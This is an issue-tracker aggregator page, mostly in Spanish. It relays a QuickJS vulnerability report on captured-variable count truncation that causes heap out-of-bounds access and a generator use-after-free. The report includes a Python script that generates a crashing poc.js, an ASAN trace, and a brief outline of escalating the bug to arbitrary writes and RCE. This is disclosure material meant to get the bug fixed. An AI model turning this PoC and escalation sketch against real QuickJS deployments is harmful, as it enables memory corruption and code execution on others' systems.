Captured variable count truncation causes out-of-bounds r/w + generator use-after-free
Los mantenedores suelen responder en 1 día
Evaluación
- Dificultad
- 4/5
- Tiempo estimado
- 3-5 días
- Aptitud para principiantes
- 52/100
Línea de trabajo
Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.
- Capturing 65,536 variables makes
var_ref_countwrap to zero. async_func_init()allocates generator frame using truncated count.close_lexical_var()indexessf->var_refs[var_ref_idx]using original index, reads past this frame, and clears that slot if it contains pointer.- When that slot contains a live
JSVarRef *, thenclose_var_ref()decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it. - Reusing the frame with an
ArrayBufferlets the stale generator write two native callback fields
So can be escalated to write pretty easily, and we also have a working RCE exploit for this.
PoC
from pathlib import Path
a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
[f"v{i}" for i in range(32767)])
Path("poc.js").write_text(
f"function* g({a}){{\n"
" { let x=1; if (Math.random()<0) (()=>x); }\n"
f" var {v};\n"
f" if (Math.random()<0) (()=>{{{refs}}});\n"
" yield 1;\n}\n"
"var it=g(); it.next();\n"
)
Test with ASAN qjs poc.js
ASAN Crash
=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
#0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
#1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
#2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
#3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
#4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
#5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
#6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
#7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
#8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
#9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
#10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
#11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
#12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
#13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
#14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
#15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
#16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
#18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)
0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
#0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
#2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
#3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
#4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
#5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
#6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
#7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
#8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
#9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
#10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
#11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
#12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
#13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
#14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
#15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
#16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
#17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
#18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
#19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
#21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==47==ABORTING
- Lenguaje dominante
- C
- Estrellas
- 3.9k
- Forks
- 389
- Merge medio
- 4 d 5 h
- PR fusionados (30 d)
- 16
Preparar el entorno
Este proyecto no incluye contenedor de desarrollo, Dockerfile ni guía de contribución, así que la configuración corre por tu cuenta: empieza por su README y consulta nuestra guía para la primera contribución para los pasos generales.
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de quickjs-ng/quickjs
-
JS_SetPropertyInternal2 loses the value when a lazy property on the prototype runs out of memoryAbierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
quickjs-ng/quickjs#1852 ·
Los mantenedores suelen responder en 1 día
-
Object.prototype.propertyIsEnumerable converts `this` before the property keyPosiblemente ocupada @SomSamantray la tomó hace 28 días. Abierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
quickjs-ng/quickjs#1772 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 3/5 1-2 días Aptitud para principiantes 57/100
quickjs-ng/quickjs#1894 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 4/5 3-5 días Aptitud para principiantes 51/100
quickjs-ng/quickjs#1893 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 5/5 Más de una semana Aptitud para principiantes 20/100
quickjs-ng/quickjs#1891 ·
Los mantenedores suelen responder en 1 día
Todos los issues de quickjs-ng/quickjs
Issues similares
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
-
[辞書] C/C++のプリプロセッサ指令名を英字のままにするAbierto要トリアージ 辞書
Dificultad 1/5 1-3 horas Aptitud para principiantes 86/100
yksr-melt/Meltype#1625 · 1 reacción ·
Los mantenedores suelen responder en 1 día
-
[yugabyted] xcluster set_up and add_to_replication fail for database names containing - . or (Abiertokind/bug priority/medium qa_automation
Dificultad 2/5 1-3 horas Aptitud para principiantes 78/100
yugabyte/yugabyte-db#37324 ·
Los mantenedores suelen responder en 1 día
-
Add CMake export targetAbierto
Dificultad 2/5 1-3 horas Aptitud para principiantes 65/100
tree-sitter/tree-sitter#6111 ·
Los mantenedores suelen responder en 1 día
-
bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 76/100
joncampbell123/dosbox-x#6797 ·
Los mantenedores suelen responder en 1 día